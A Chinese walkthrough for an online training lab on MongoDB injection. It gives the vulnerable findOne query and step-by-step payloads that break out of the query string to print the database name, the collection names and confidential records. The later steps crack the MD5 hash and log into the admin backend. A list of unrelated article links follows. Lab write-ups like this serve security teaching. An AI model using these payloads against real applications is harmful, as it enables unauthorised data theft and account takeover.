MongoDB靶场(手工注入)攻略

MongoDB 是⼀个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案

MongoDB 是⼀个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最富,最像关系数据库的。MongoDB 将数据存储为⼀个文档,数据结构由键值(key=>value)对组成

靶场地址:SQL手工注入漏洞测试(MongoDB数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养

第一步:

给出的源码...可以看到数据库查询的语句如下..构造回显测试..

复制代码
var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是$id。注意到可以通过闭合 "({'" 来构造payload 因为返回的数据是$obj['retval']['title']与$obj['retval']['content'],可以尝试return({title:'1',content:'2'})来构造回显测试
id=1'});return({title:'1',content:'2
第二步:查询数据库库名
获取数据库名称:
复制代码
id=1'});return({title:tojson(db),content:'2
第三步:查询数据库表名
复制代码
id=1'});return({title:tojson(db.getCollectionNames()),content:'2
第四步:查询数据库字段值
复制代码
id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
复制代码
id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2
第五步:cmd5解密

地址:md5在线解密破解,md5解密加密

第六步:登录后台

KEY:mozhe82a

相关推荐
消失的旧时光-194311 小时前
SQL 第五篇:SQL 如何真正接入 Spring Boot 项目(企业 Mapper 分层实战)
数据库·spring boot·sql
dfdfadffa18 小时前
如何用模块化方案组织一个可扩展的前端组件库项目
jvm·数据库·python
2301_8125396718 小时前
SQL中如何高效实现分组数据的批量更新_利用窗口函数与JOIN
jvm·数据库·python
2501_9012005318 小时前
如何实现SQL存储过程存储过程参数标准化_统一命名规范
jvm·数据库·python
运气好好的18 小时前
Golang怎么用embed嵌入SQL文件_Golang如何将SQL迁移文件嵌入Go程序统一管理【技巧】
jvm·数据库·python
念何架构之路19 小时前
MySql常见ORM
数据库·mysql
xcLeigh19 小时前
KES数据库安全、权限、审计实战
数据库·安全·备份·权限·审计·ssl加密·密码策略
zjy2777720 小时前
c++如何实现日志文件的异步落盘功能_基于无锁队列方案【附代码】
jvm·数据库·python
河阿里20 小时前
SQL:深分页问题深度解析
数据库·sql
wang3zc20 小时前
JavaScript中函数声明位置对解析器预编译的影响
jvm·数据库·python